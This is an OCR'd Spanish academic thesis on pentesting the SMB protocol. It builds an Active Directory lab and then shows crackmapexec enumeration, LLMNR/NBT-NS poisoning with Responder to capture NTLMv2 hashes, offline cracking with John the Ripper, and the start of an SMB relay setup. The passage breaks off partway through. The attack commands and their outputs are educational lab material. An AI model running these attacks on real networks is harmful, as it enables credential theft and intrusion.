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1. Introduccion

1.1. Objetivo

El objetivo principal del documento es dar a conocer las debilidades relativas al
protocolo de Server Message Block (SMB) en entornos empresariales y las acciones

necesarias para solucionarlas.

Inicialmente, se mostrara el proceso de creacidn del directorio activo donde

posteriormente se desplegaran los siguientes ataques:

e Envenenamiento LLMNR/NBT-NS.
e NTLM Relay por IPv4.

e Envenenamiento del trafico IPv6 + proxychains.

Cabe destacar que este laboratorio simula un test de intrusidon interno, es decir, un
atacante que ya tiene acceso a la red interna de la corporacion. Estas técnicas no

funcionaran con acceso por VPN.
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2. Configuracion del Directorio Activo

2.1. Introduccion

Para nuestro laboratorio, se emplearan los siguientes activos:

e Windows Server 2016 (actuara como controlador de dominio [DC]).
e 2 maquinas Windows 10 (actuaran como usuarios del dominio).

e Ubuntu (maquina atacante).

ACTIVO DESCRIPCION

Windows Server 2016 Activo que actuara como controlador de dominio
2x Winows 10 Activos que actuaran como usuarios del dominio
Ubuntu Activo que actuara como un atacante

2.2. Configuracion del DC

Primero, procederemos a configurar el nombre del equipo para darle un nombre
descriptivo, tarea muy comun en entornos empresariales para permitir identificar los
servicios de manera mas rapida (Ej: SQLService). Para ello, nos dirigiremos a
Configuracion > Sistema > Acerca de y seleccionaremos Cambiar el nombre de este

equipo, como se muestra a continuacién:

Especificaciones del dispositivo

Mombre del dispositive WIN-LIFETS30795

Procesador 1Mth Gen Intel(R) Core(TM) iI7-1165G7
@ 2.80GHz 2.80 GHz (2
procesadores)

RAM instalado 2,00 GB

Identificador de dispositivo ESABETDE-FCE5-4726-

BAF1-92129E0211B3

Id. del praducto 00433-00000-00001-AASTS

Tipo de sistema Sistema operativo de 64 bits,
procesador basado en x64

Lapiz vy entrada tactil La entrada tactil o manuscrita no esta
disponible para esta pantalla

Cambiar el nombre de este equipo  -iff———

Tlustracion 1 - Modificacién del nombre del equipo DC
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Como nombre, pondremos DCO1 para permitir identificar al controlador de dominio.

Cambiar el nombre de tu PC

Cambiar el nombre de tu PC

Puedes usar una combinacién de letras, guiones y nimeros.

Nombre actual del equipo: WIN-LIF6TS30795

Ilustracion 2 - Especificacion del nombre al equipo DC

Posteriormente, configuraremos una direccion IPv4 estatica para evitar que el servidor
DHCP asigne una direccion diferente. Comprobaremos la direccidon que tiene asignada

el activo haciendo uso de ipconfig:

P5 C:\Users\Administrador> ipconfig

Configuracidn IP de Windows

Adaptador de Ethernet Etherneta:

Sufijo DNS especifico para la conexidn.
Vinculo: direccidn IPv6 local.

Direccidn IPwvd.
Mascara de subred . .
Puerta de enlace predeterminada

Tlustracién 3 - Comprobacidn de la direccidn IP asignada al DC

Para poder configurar una direccién estatica, nos dirigiremos a Panel de contro/\Redes
e Internet\Conexiones de red y seleccionaremos la interfaz que queremos modificar
(en el caso del laboratorio, solo existe la Ethernet), daremos clic derecho y Propiedades
y seleccionaremos Protocolo de Internet version 4 (TCP/IPv4) donde especificaremos

lo siguiente:
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Propiedades: Protocolo de Internet version 4 (TCP/1Pw4) .
General

Puede hacer que la configuracidn IP se asigne automaticamente si la
red es compatible con esta fundonalidad. De lo contrario, debera
consultar con el administrador de red cudl es la configuracidn IF
apropiada.

() Obtener una direcddn IP automaticamente
{®) Usar |a siguiente direccidn IF:

Direccidn IP: | 192.168. 1 .187 |
Mascara de subred: | 255,255,255, 0 |
Puerta de enlace predeterminada: | 192,168 . 1 . 1 |

Obtener la direccidn del servidor DNS automaticamente

(®) Usar |as siguientes direcciones de servidor DNS:

Servidor DNS preferido: |127.0 .0 . 1 |
Servidor DNS alternativo: | g8 .8 .8 .8 |
[ validar configuracisn al sali Opdones avanzadas. ..

Cancelr

Ilustracion 4 - Configuracidn de direccion IPv4 estatica en el controlador de dominio

A continuacion, procederemos a crear el Directorio Activo. Para ello, seleccionaremos

Agregar roles y caracteristicas en Administrador del servidor:

r Administrar Herramientas Ver Ayuda

Agregar roles y caracteristicas

Quitar roles y funcicnes

Agregar servidores

Crear grupo de servidores

Propiedades del Administrador del servidor

Tlustracion 5 — Configuracion de roles y caracteristicas para crear un dominio

Dicha instalacion es bastante sencilla, deberemos de seleccionar Instalacién basada

en caracteristicas o en roles:
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SERVIDOR DE DESTING

Seleccionar tipo de instalacion ocor

Antes de comenzar Seleccione el tipo de instalacion. Puede instalar roles y caractenisticas en un equipo fisico, en una

maguina virtual o en un disco duro virtual (VHD) sin conexién,
Tipe de instalacion
. . (®) Instalacion basada en caracteristicas o en roles
Seleccion de servidor i o L
Para configurar un solo servider, agregue roles, servicios de rol y caracteristicas.

) Instalacién de Servicios de Escritorio remoto

Instale los servicios de rol necesanos para gue la Infraestructura de escritorio virtual (VDI) cree una
implementacién de escritorio basada en maquinas o en sesiones.

| < Anterior | | Siguiente = | Instalar

Tlustracion 6 — Seleccion del tipo de instalacion

Seguidamente, seleccionamos el servidor actualmente en uso (DC01):
[z Asistente para agregar roles y caracteristicas - O X

SERVIDOR DE DESTIMO

Seleccionar servidor de destino Tt

TR A EFEET Seleccione un servidor o un disco dure virtual en el que se instalardn roles y caracteristicas.

Tipo de instalacidn

! Seleccionar un servidor del grupo de servidores

cién de servidor ) Seleccionar un disco dure virtual
Roles de servidor Grupo de servidoras
Caracteristicas
Filtro: | |
MNombre Direccion IP Sistema operativo
DCO1 192.168.1.187 Microsoft Windows Server 2019 Essentials

1 equipols) encentradol(s)

Esta pagina muestra los servidores gue ejecutan Windows Server 2012 o una versién mas reciente de
Windows Server, y que se agregaron mediante el comando Agregar servidores del Administrador del
servidor. No se muestran los servidores sin conexidn ni los servidores recién agregados para los que la
recopilacion de datos adn esta incompleta.

< Anterior | | Siguiente > | Instalar

Ilustracion 7 - Seleccion del servidor actualmente en uso (DCO1)




Pentesting en SMB - PFG Adrian Diaz Aguilar

En el apartado de roles de servidor, deberemos de seleccionar Servicios de dominio de
Active Directory y Servidor DNS. Estos son necesarios para que el Directorio Activo

funcione correctamente.

" Seleccione uno o vanos roles para instalarlos en el servidor seleccionado.
Antes de comenzar P

Tipo de instalacion Roles Descripcién

Seleccién de servidor

Roles de servidor

[] Acceso remoto
[] Active Directory Lightweight Directory Services
[] Active Directory Rights Management Services

El servidor del Sistema de nombres
de dominic (DNS) proporciona
resclucién de nombres para las

Caracteristicas redes TCP/IP. El servidor DNS es més
facil de administrar cuando estd
instalado en el mismo servidor que
los Servicios de dominio de Active
Directory. Si selecciona el rol
Servicios de dominio de Active
Directory, puede instalar y
configurar el servidor DNS y
Servicios de dominio de Active
Directory para que trabajen en

[ Hyper-v
AD DS [] Senvicios de acceso y directivas de redes
I [m] Servicios de archivos y almacenamiento (4 de 11 instz
[ Servicios de certificados de Active Directory
Servicios de dominio de Active Directory
[] Servicios de Escritorio remoto
[] Servicios de federacion de Active Directory
[ servicios de implementacién de Windows
[1 Servicios de impresién y documentos
[ Servidor de fax -
[] Servidor DHCE conjunta.
S —
[] Servidar web (lI5)
[ Volume Activation Services
[] Windows Server Update Services

Servidor DINS

Confirmacién

(V]

Cancelar

< Anterior | | Siguiente > Instalar

Tlustracion 8 - Seleccién de los roles del servidor

Las siguientes secciones no requieren de modificacion, por lo que solo nos queda

agregar estos roles al servidor procediendo con la instalacion:

Para instalar los siguientes roles, servicios de rol o caracteristicas en el servider seleccicnado, haga clic
en Instalar.

Reiniciar automaticamente el servidor de destino en caso necesario

En esta pagina se pueden mostrar caracteristicas opcionales (como herramientas de administracion)
porgue se seleccionaron automaticamente, Si no desea instalar estas caracteristicas opciones, haga clic
en Anterior para desactivar las casillas.

Herramientas de administracion remota del servidor
Herramientas de administracion de roles

Herramientas del servidor DNS

Herramientas de AD DS y AD LDS
Médulo de Active Directory para Windows PowerShell

Herramientas de AD DS
Centro de administracion de Active Directory

Complementos y herramientas de linea de comandaos de AD DS

Servicios de dominic de Active Directory

Exportar opciones de configuracion
Especifique una ruta de acceso de origen alternativa

Ilustracién 9 - Instalacidn de los roles anteriormente especificados

Instalar || Cancelar
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Una vez instalados, deberemos de promover el servidor a controlador de dominio. Para

ello, seleccionaremos la siguiente pestafia:

| Configuracién posterior a la... |

Requiere configuracién para Servicios de dominio de
Active Directory en DCO1

Promover este servidor a controlador de dominio

0 Instalacion de caracteristica
]
Requiere configuracién. Instalacién correcta en
DCon.

Agregar roles y caracteristicas

Cetalles de tarea

Tlustracion 10 - Requisito de promover el servidor a controlador de dominio

Antes de proseguir con la configuracién deberemos de explicar algunos términos
propios de directorio activo:

e Arbol: Un arbol representa un conjunto de dominios que comparten un mismo
espacio de nombres. Los dominios de un arbol también se vinculan mediante
relaciones de confianza, dicha confianza estd basada en el protocolo de
seguridad Kerberos. La confianza de Kerberos es transitiva y jerarquica: si el
dominio A confia en el dominio B y el dominio B confia en el dominio C, el

dominio A confia en el dominio C.

Domain A — Explicit Trust—m Domain B — Explicit Trust—m Domain C

Implicit Trust

Tlustracion 11 - Relacion de confianza en un arbol de dominio

e Bosque: Un bosque es una construccion logica que el servicio de nombres de
directorio activo (AD DS) usa para agrupar uno o mas dominios. De forma

predeterminada, un dominio se crea como un bosque de usuario. Este tipo de
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bosque sincroniza todos los objetos del directorio activo, incluidas las cuentas

de usuario creadas en un entorno de AD DS local.

Siguiendo con la configuracién del controlador de dominio, el paso que deberemos de
realizar es crear un nuevo bosque, donde introduciremos el nombre de dominio que

queremos usar (en nuestro caso sera gonzalonazareno.org):

Configuracion de implem...

Seleccionar la operacidn de implementacidn
Opciones del controlador... o o

i) Agregar un controlador de dominio a un dominio existente
Opcionss adicionales ) Agregar un nuevo dominio a un bosque existente

Rutas de acceso (w0 Agregar un nuevo bosque
Revisar opciones N _ y o y

) Especificar la informacion de dominio para esta operacion
Comprobacién de requisi...

Mombre de dominio raiz: goenzalonazareno.org

Tlustracion 12 - Creacion de un nuevo bosque asignando el dominio gonzalonazareno.org
Posteriormente, nos pedira introducir una contrasefia para el modo de restauracion de

servicios de directorio (DSRM), el cudl nos permitira realizar un arranque en modo

seguro para poder reparar o recuperar una base de datos del Directorio Activo.

Configuracién de implem... ] ] ] o
Seleccionar nivel funcional del nueve bosque y dominic raiz

Opciones del controlador...

Mivel funcional del bosque: Windows Server 2016 -

Opciones de DMS
Opcionss adicionalzs Mivel funcional del dominio: Windows Server 2016 -
Rutas de acceso

Especificar capacidades del controlador de dominio

LEIENEERTEE | Servidor de Sistema de nombres de dominio (DNS)

Comprobacion de requisi... | Catélogo global (GC)
Controlador de dominio de solo lectura (RODC)

Escribir contrasena de modo de restauracian de servicios de directorio (DSRM)

Contrasefia: SRR ERBRERRERRES

Confirmar contrasena: ------u--------.-l

Ilustracion 13 - Asignacion de contrasefia para DSRM

Las siguientes secciones no requieren de ninguna configuracion en especifico. Una vez
se comprueben los requisitos y que la configuracion establecida es correcta,

procederemos a instalar los servicios de dominio de Active Directory en el equipo:

10
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| ® Todas las comprobaciones de requisitos previos se realizaron correctamente. Haga clic en ‘Instalar’ para co... Mostrar mas x

Configuracién de implem... . ) . ) . . -
Los requisitos previos deben validarse antes de instalar los servicios de dominio de Active Directory
Opciones del controlador.. | en el equipo

Volver a comprobar requisitos previos

@E&r resultados

1. Los controladores de dominio de Windows Server 2019 tienen un valor predeterminado

para la configuracion de seguridad denominada "Permitir algoritmos de criptografia
Comprobacion de requisi... compatibles con Windows NT 4.0° que evita el uso de algoritmos de criptografia
débiles al establecer sesiones de canal de seguridad.

Para obtener mas informacién acerca de esta opcidn de configuracidn, consulta el
articulo 942564 de Knowledge Base (http://go.microsoftcom/fwlink/7Linkld=104751).
I Mo se puede crear una delegacion para este servidor DNS porgue la zona principal
autoritativa no se encuentra o no ejecuta el servidor DNS de Windows. 5i estd
realizando una integracidn en una infraestructura DNS existente, debe crear

1. 5i hace clic en Instalar, el servidor se reiniciara automaticamente cuando finalice la operacién
de promocion.

< Anterior Siguienta > | Instalar | | Cancelar

Ilustracion 14 - Instalacion de los servicios de dominio de Active Directory en el activo DC0O1

Tras completar la instalacién, habremos terminado con la configuracién del DC.

2.3. Configuracion de los activos

La principal configuracion que deberemos de realizar en ambos activos es la de
configurar como DNS preferido la direcciéon IPv4 del DC, para posteriormente anadir

dichos equipos al dominio de gonzalonazareno.org.

Propiedades: Protocolo de Internet versign 4 (TCP/1Pwd) x

General  Configuradsn alternativa
Puede hacer que la configuracidn IP se asigne automaticamente si la
red es compatible con esta funcionalidad. De lo contrario, deberd

consultar con el administrador de red cual es la configuracion IP
apropiada.

(®) Obtener una direccién IP automaticamente

[ . . ]
. ]
. . ]

() Obtener la direccion del servidor DNS automaticamente

() Usar la siguiente direccidn IP:

(®) Usar las siguientes direcciones de servidor DNS:

Servidor DNS preferido; 192 , 168 . 1 . 187
Servidor DNS alternativo: I:I
[ validar configuracisn al salir Opciones avanzadas...

Cancelar

Tlustracion 15 — Configuracion del DNS en los activos afadiendo la IP del DC

11
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Seguidamente, procederemos a afiadir ambos equipos al dominio. Para ello, nos
dirigiremos a Configuracién > Sistema > Acerca de > Cambiar el nombre de este quipo
(avanzado), donde modificaremos a su vez el nombre del equipo (los activos se
llamaran PC-ADIAZ y PC-MVAZQUEZ) como se muestra a continuacion:

Carnbios en el dominic o el nombre del equipo et
Puede cambiar el nombre y la pertenencia de este equipo. Los

cambios podrian afectar al acceso a los recursos de red.

Mombre de equipo:
PC-ADIAZ

Mombre completo de equipo:
PC-ADIAZ

Mas...

Miembro del
(®) Dominio:

|gu:unza|-:unazarenu:u.u:urg

() Grupo de trabajo;
WORKGROUP

Aceptar Cancelar

Tlustracién 16 — Adicién del activo PC-ADIAZ al dominio gonzalonazareno.org

El mismo paso lo realizaremos con el activo PC-MVAZQUEZ:

Cambics en el dominic o el nombre del equipe *

Puede cambiar el nombre y la pertenencia de este equipo. Los
cambios podrian afectar al acceso a los recursos de red.

Nombre de equipo:
PC-ADIAZ

Nombre completo de equipo:
PC-ADIAZ

Miembro del
(®) Dominio:
|gonzalnnazareno.org

() Grupo de trabajo:
WORKGROUP

Aceptar Cancelar

Tlustracion 17 - Adicion del activo PC-MVAZQUEZ al dominio gonzalonazareno.org

12
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Una vez afladidos, deberemos de dirigirnos al activo DCO1 para afiadir los usuarios con
los que ambos activos se autenticaran. Para ello, ejecutaremos el Administrador del
servidor y nos desplazaremos a Herramientas > Usuarios y equipos de Active

Directory:

'l | r Administrar  Herramientas Ver Ayuda

Administracion de directivas de grupo
Administracion de equipos

Administracion de impresién

Centro de administracion de Active Directory
Configuracion del sistema

Copias de seguridad de Windows Server
Desfragmentar y optimizar unidades
Diagniéstico de memoria de Windows
Directiva de seguridad local

DNS

Dominios y confianzas de Active Directory
Editor ADSI

Editor del Registro

Informacidn del sistema

Iniciador iSCSI

Liberador de espacio en disco

Médulo de Active Directory para Windows PowerShell
Monitor de recursos

Maonitor de rendimiento

ODEBC Data Sources (32-bit)

Origenes de datos ODBC (64 bits)
Programador de tareas

Servicios

Servicios de compeonentes

Servicios de Microsoft Azure

Sitios y servicios de Active Directory

Unidad de recuperacicn

Usuarios y equipos de Active Directory -4——'—‘
Visor de eventos

Windows Defender Firewall con sequridad avanzada
Windows PowerShell

Windows PowerShell (x86)

Windows PowerShell ISE

Windows PowerShell ISE (x86)

Tlustracion 18 - Configuracion de los usuarios del dominio

13
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Tras abrirse la ventana, nos dirigiremos a la carpeta Users:

o= nF 8 XEBe HE TaET

Adrian Diaz Aguilar

—

£l

] Usuarios y equipos de Active Dir
| Consultas guardadas
v 3 gonzalonazareno.org
| Builtin
| Computers
2 | Domain Controllers
~| ForeignSecurityPrincipal:
~| Managed Service Accour

| Users

Mombre

%Administradu:ur
Egﬁ'administrad...
%Administrad...
%Administrad...
EEAdministrad...
42 Admins. del ...
EE Controlador..,
EE Controlador...
% Controlador...
EE Dns&drmins

EE DnsUpdateP...

%Enterprise D..
EE Equipos del ...
EE Grupo dere...

EE Grupo de re..
E;;Imritadcu

%Invitadus del...
EEPerietaricus
EEF'rn:ntected Us...
% Publicadore...
EE Servidores R...
EE Usuarios del ...

Tipo

Usuario

Grupe de segu...
Grupo de segu...
Grupo de segu..,
Grupe de segu...
Grupo de segu...
Grupe de segu..,
Grupe de segu...
Grupo de segu...
Grupe de segu...
Grupo de segu...
Grupo de segu..,
Grupe de segu...
Grupo de segu...
Grupe de segu..,
Usuario

Grupo de segu...
Grupe de segu...
Grupo de segu...
Grupo de segu..,
Grupe de segu...

Grupo de segu...

Descripcidn

Cuenta integrada para la...
Los miembros de este gr...
Los miembros de este gr...
Adrninistradores design...

Adrninistraderes design...

Adrinistradores design...

Todos los controladores ...
Se pueden clonar los mi...

Los miembros de este gr...
Grupo de administrador...

Clientes DM5 que tienen...
Los miembros de este gr...
Tedas los servidores y es...
Los miembros de este gr...
Las miembros de este gr..,
Cuenta integrada para el...
Todos los invitados del ...

Los miembros de este gr...
Los miembros de este gr...
Los miembros de este gr...
Los servidores de este gr...

Todos los usuarnios del d...

Tlustracion 19 - Configuracion de los usuarios del dominio

Y afnadiremos dos usuarios, adiaz y mvazquez, como se muestra a continuacion:

; Crearen:
0

L

MNombre de pila:

Apellidos:

gonzalonazareno.orgs Users

|adiaz

MNombre completo: |a|:|iaz

‘ Iniciales: I:I

Mombre de inicio de sesion de usuario:

|adiaz

| (@gonzalonazareno ong

Mombre de inicio de sesion de usuario (anterior a Windows 2000):
|GONZALONA.ZAHENO\ | ‘adiaz |
< Atras Cancelar

Tlustracion 20 - Creacion del usuario adiaz (1/2)

14
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Muevo objeto: Usuario X

&) Crearen: gonzalonazareno.ong/sers

Cortrasefia: |iiilliliiiil |

Corfimar contraseria: |unuuu" |

[ ] B usuario debe cambiar la contrasefia en el siguiente inicio de sesidn

[ ] B usuario no puede cambiar la contrasefia

[+]iLa contraseria nunca expira;
[ ] La cuenta ests deshabilitada

< Mras Cancelar

Tlustracion 21 - Creacion del usuario adiaz (2/2)

Muevo objeto: Usuario x

& Crearen: gonzalonazareno.ong/|sers

Mombre de pila: |m‘uazquez | Iniciales: I:I

Apellidos: |

MNombre completo: |mvazquez

Mombre de inicio de sesidn de usuario:

|m'u'azquez | @gonzalonazareno .org ~

MNombre de inicio de sesion de usuario (anteror a Windows 2000):

|GONZALONP-.ZAH ENO™ | |m1.razquez

< Mras Cancelar

Tlustracién 22 - Creacion del usuario mvazquez (1/2)

15
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Muevo objeto: Usuario >

& Crearen:  gonzalonazareno.orgsUsers

Contraseria:

Corfimar cortrazefia; |uuuuuu |

[ ] B usuario debe cambiar la contrasefia en el siguiente inicio de sesidn

[ ] Bl usuario no puede cambiar la contraseria

[]:iLa contraseria nunca expira:
[]La cuenta esta deshabiltada

< Atras Cancelar

Ilustracion 23 - Creacion del usuario mvazquez (2/2)

Tras crear a los usuarios, procederemos a autenticarnos contra el dominio en ambos

activos:

Otro usuario

Iniciar sesién en GONZALONAZARENO

:Como puedo iniciar sesién en otro
dominio?

Ilustracion 24 - Autenticacion como adiaz en el dominio gonzalonazareno

16
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Iniciar sesion en GONZALONAZARENO

:Como puedo iniciar sesién en otro
dominio?

Tlustracion 25 - Autenticacién como mvazquez en el dominio gonzalonazareno

El siguiente paso que deberemos de realizar sera activar la deteccién de red en ambos
activos. Para ello, nos dirigiremos a Panel de control > Redes e Internet > Centro de
redes y recursos compartidos y seleccionaremos Cambiar configuraciéon de uso
compartido avanzado:

- v :.I: » Panel de control » Redes elnternet » Centro de redes y recursos compartidos

. Ver informacion basica de la red y configurar conexiones
Ventana principal del Panel de

control .
Ver las redes activas

Cambiar configuracidn del
adaptador gonzalonazareno.org Tipo de acceso: Internet

Red de domini C i : Ethernetd
Cambiar configuracién de uso | £e ce dominios onexones v =

compartide avanzado

Opciones de streaming Cambiar la configuracidn de red
multimedia

ﬁ- Cenfigurar una nueva conexion o red
Configurar una conexidn de banda ancha, de acceso telefénico o VPN; o bien configurar un
enrutador o punto de acceso.

\g] Solucionar problemas

Diagnosticar y reparar problemas de red u obtener informacion de solucién de problemas.

Tlustracion 26 - Cambio de configuracion del uso compartido
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Una vez se nos abra la ventana, deberemos de seleccionar Activar la deteccion de

redes en el apartado de Dominio, como se muestra a continuacion:

Dominic (perfil actual)

Deteccian de redes

Cuando se activa la deteccion de redes, este equipo puede ver otros equipos y dispositivos en la red
v es visible para los dernds equipos en la red.

(@) Activar la deteccidn de redes

() Desactivar la deteccion de redes

Cormpartir archivos e impresoras

Cuando se activa el uso compartido de archives e impresoras, los usuarios de la red podran tener
acceso a los archivos e impresoras compartidos en este equipo.

() Activar el uso compartido de archivos e impresoras
(@) Desactivar el uso compartido de archivos e impresoras

Todas las redes
Tlustracion 27 - Activacion de la deteccion de redes en Dominio

También deberemos de activarlo para todas las redes:

Todas las redes

Uso compartido de carpetas pdblicas

Cuande se activa el uso compartido de carpetas pldblicas, los usuarios de la red, incluides los
miembros del grupo en el hogar, pueden obtener acceso a los archivos de estas carpetas.

(@) Activar el uso compartido para que todos los usuarios con acceso a la red puedan leery
escribir archivos de las carpetas pablicas

() Desactivar el uso compartido de carpetas publicas (los usuarios que iniciaron sesién en este
equipo todavia podran obtener acceso a esas carpetas)

Transrnisién por secuencias de multimedia

Cuande se activa la transmisidn por secuencias de multimedia, los usuarios y dispositives de la red
pueden ocbtener acceso a midsica, imagenes y videos de este equipo. Este equipo también puede
encontrar multimedia en la red.

Elegir opciones de transmisién por secuencias de multimedia...
Conexiones de usoc compartido de archivos
Windows usa el cifrade de 128 bits para ayudar a proteger las conexiones de uso compartido de

archivos, Algunos dispositives no admiten el cifrado de 128 bits y deben usar el cifrado de 40 o 36
bits.

(@) Usar el cifrado de 128 bits para ayudar a proteger las conexiones de uso compartido de
archivos (recomendada)
(") Habilitar el uso compartido de archivos para dispositives que usan el cifrado de 40 o 36 bits

Tlustracion 28 — Activacidon de la deteccion de redes en todas las redes
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3. Técnicas de ataque a protocolo SMB

SMB (Server Message Block) es un protocolo cliente-servidor que controla el acceso a
archivos y directorios enteros, asi como a otros recursos de la red, como impresoras,
routers o interfaces compartidas con la red. El protocolo SMB también sirve como base
para el intercambio de informacidon entre los diferentes procesos de un sistema

(intercambio también conocido como comunicacion entre procesos).

Dicho protocolo, tiene un mecanismo de seguridad que consiste en firmar cada
mensaje, esta firma se genera mediante una clave de sesién y el algoritmo estandar
de cifrado (AES). Si alguien cambia un mensaje durante la transmision, el hash no
coincidira y SMB sabra que alguien ha manipulado los datos. La firma también confirma
las identidades del remitente y del receptor. Esto interrumpe los ataques de

retransmisidn o relaying, los cuales veremos mas adelante.

Por defecto, la firma no se encuentra habilitada en los equipos pertenecientes al

bosque, solo se encuentra en el Controlador de dominio.

3.1. Identificacion de activos

Para enumerar el protocolo, haremos uso de la herramienta crackmapexec?, la cual

nos reportara informaciéon muy Uutil, entre ellas, si el SMB se encuentra firmado:

3 S cme smb 192.168.1.0/24
192.168.1.187 445 DCe1l Windows 10.0 Build 17763 x64
(name:DCB1) (domain:gonzalonazareno.org) (signing:True) (SMBvl:False)
192.168.1.189 445 PC-MVAZQUEZ Windows 10.0 Build 19041 x64

(name:PC-MVAZQUEZ) (domain:gonzalonazareno.org) (signing:False) (SMBvl:False)
192.168.1.191 445 PC-ADIAZ Windows 18.0 Build 19841 x64
(name:PC-ADIAZ) (domain:gonzalonazareno.org) (sianing:False) (SMBv1:False)

Tlustracién 29 — Enumeracion de los activos a través de crackmapexec

A su vez, podemos visualizar el nombre de los equipos, permitiéndonos identificar

facilmente el controlador de dominio (DCO01).

! https://github.com/byt3bI33d3r/CrackMapExec
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3.2. Envenenamiento del trafico LLMNR/NBT-NS

Tras identificar aquellos activos que no tienen el SMB firmado, procederemos a
envenenar el trafico LLMNR/NBT-NS. No sin antes, explicar en qué consisten estos

servicios propios de Windows.

Link-Local Multicast Name Resolution (LLMNR) y NetBIOS Name Service (NBT-NS) son
servicios propios de dominios de Windows que actlan como una alternativa para
identificar a los activos. LLMNR se puede asociar como un DNS, es decir, permiten a
los activos de la misma red usar resolucion de nombres. NBT-NS se usa para identificar

los sistemas en una red por su hombre de NetBIOS.

Se falsificard el origen para la resolucién de nombres empleando la herramienta
Responder?, la cual nos permitird responder a las solicitudes LLMNR y NBT-NS
actuando como si se conociese la identidad del host que contiene el recurso al que se
estd intentando acceder, envenenando el servicio para que los activos del dominio se
comuniquen con nuestro equipo para recibir el hash NTLMv2 de autenticacion que
contiene el usuario y su contrasefia (encriptada). Tras obtener estos hashes se

procedera a crackearlos offline y obtener la contrasefia de los usuarios en texto claro.

Primero, procederemos a correr la herramienta empleando la configuracién por

defecto:

$ sudo pytﬁm Jopt/Responder /Responder.py -I wlol -dw -v

NBT-NS, LLMNR & MDNS Responder 3.1.1.0

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

Poisoners:
LLMNR
NBT-NS
MDNS

DNS

DHCP

Tlustracion 30 - Envenenando el servicio LLMNR/NBT-NS a través de responder

2 https://qgithub.com/Igandx/Responder
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Donde:

e -d: Se activa también las respuestas a las peticiones DHCP.

e -w: Se activa el servidor proxy WPAD.

Accederemos a un recurso compartido inexistente en cualquiera de los activos:

#F Y\pruebaa'estoesunaprueha -‘_ ~
Ry
Jido Carpetas frecuentes (&)
) Escritorio Descargas Doo
Est ip ' Est ip A=) Est
< . E equipo e equipo j e
ntos
Muisica Videos
: ﬁ Este equipo ﬁ Este equipo

Tlustracién 31 — Acceso a un recurso compartido inexistente desde el activo adiaz

En la maquina atacante, podremos observar como ha sido posible obtener el hash

NTLMv2 del usuario que esta intentando acceder:

NTLMv2-SSP Client
NTLMv2-55P Username :

Ilustracion 32 - Captura del hash NTLMv2 del usuario adiaz

El mismo proceso se podra realizar para el usuario mvazquez:

I \\prueba?\estoesunaprueba .‘ v | 3

~
MNombre Fecha de modificacion Tipo Tamafio

ndo

Esta carpeta esta vacia.

Tlustracion 33 - Acceso a un recurso compartido inexistente desde el activo mvazquez
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NTLMv2-5SP Client A
NTLMvZ2-55P Username :

NTLMv2-SSP Hash

Tlustracion 34 - Captura del hash NTLMv2 del usuario mvazquez

También serd posible obtener el hash del usuario Administrador:

NTLMvZ2-SSP Client
NTLMv2-55P Username :
NTLMv2-SSP Hash

FF2EE

Ilustracion 35 - Captura del hash NTLMv2 del usuario Administrador

Tal y como se ha mencionado anteriormente, estos hashes pueden ser crackeados
empleando JohnTheRipper? y, en el caso de que la politica de contrasefias de la

organizacion sea débil, obtener dicha contrasena en texto claro.

3 $ sudo ~/src/john/run/john --wordlist=/opt/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (netntlmv2, NTLMvZ2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status

3g 0:00:00:00 DONE (2022-06-08 20:14) 300.0g/s 409600p/s 1228Kc/s 1228KC/s 123456..cancel
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Ilustracion 36 - Crackeo de hashes de los usuarios del dominio

3 https://qgithub.com/openwall/john
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3.3. SMB Relay

En entornos empresariales, es muy comun que ciertos usuarios tengan privilegios de
administrador sobre algun activo de la red. En el caso de conseguir un hash de
autenticacion de un usuario tras envenenar el trafico LLMNR/NBT-NS como se mostrd
anteriormente, podremos realizar un relaying de ese hash para autenticarnos contra
el activo en el cual tiene privilegios de administrador y realizar cualquier accién. Por
defecto, dumpearemos la SAM del equipo, obteniendo los hashes de los usuarios

locales.

Para simularlo en nuestro laboratorio, primero deberemos de afiadir un usuario
administrador en cualquier activo. En nuestro caso, el usuario adiaz tendra privilegios
de administrador sobre el quipo PC-MVAZQUEZ. Para realizar dicho proceso,
deberemos de ejecutar Administrador de equipos y seleccionar Grupos >

Administradores y afadiremos al usuario adiaz, como se muestra a continuacién:

Seleccionar Usuarios, Equipos, Cuentas de servicic o Grupos x

Seleccionar este tipo de objeto:

|L|suari|:|s. Cuentas de servicio, o Grupos | Tipos de objeto...

Desde esta ubicacion:

|gu:unza|u:unazarenu:| .arg | |hicaciones...

Escriba los nombres de objeto que desea seleccionar (siemplos):

adiaz (adiaz @gonzalonazarens org)l | Comprobar nombres

Opciones avanzadas... Aceptar Cancelar

Tlustracién 37 - Adicion de adiaz como usuario administrador en el equipo PC-MVAZQUEZ

Seguidamente, verificaremos con la herramienta crackmapexec que dicho usuario
tiene los privilegios de administrador sobre el equipo PC-MVAZQUEZ, en cuyo caso,

nos deberd de reportar "Pwn3d!”:

B S cme smb 192.168.1.0/24 -u 'adiaz' -p 'Password1l23!’
192.168.1.190 445 PC-MVAZQUEZ Windows 10.8 Build 19841 x64
(name:PC-MVAZQUEZ) (domain:gonzalonazareno.org) (signing:False) (SMBvl:False)
192.168.1.187 445 DCo1 Windows 10.8 Build 17763 x64
(name:DCO@1) (domain:gonzalonazareno.org) (signing:True) (SMBv1:False)
192.168.1.188 445 PC-ADIAZ Windows 10.0 Build 19041 x64
(name:PC-ADIAZ) (domain:gonzalonazareno.org) (signing:False) (SMBv1:False)

168.1.190 445 PC-MVAZQUEZ gonzalonazareno.org\adiaz:Paf
445 plech ] gonzalonazareno.org\adiaz:Paf

192.168.1.188 445 PC-ADIAZ gonzalonazareno.org\adiaz:Pa4

Tlustracion 38 - Validacion usuario administrador en activo PC-MVAZQUEZ
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Posteriormente y por comodidad, procederemos a desactivar el Firewall de Windows

para poder desplegar ataques sin que nos bloquee el Windows Defender.

Personalizar la configuracion de cada tipo de red

Puede modificar la configuracién del firewall para cada tipe de red que use,
Configuracién de red de deminio
e () Activar Firewall de Windows Defender
Bloquear todas las conexiones entrantes, incluidas las de |a lista de aplicaciones permitidas

Matificarme cuande Firewall de Windows Defender bloquee una nueva aplicacién
6 (@) Desactivar Firewall de Windows Defender (no recomendada)

Configuracién de red privada
e () Activar Firewall de Windows Defender
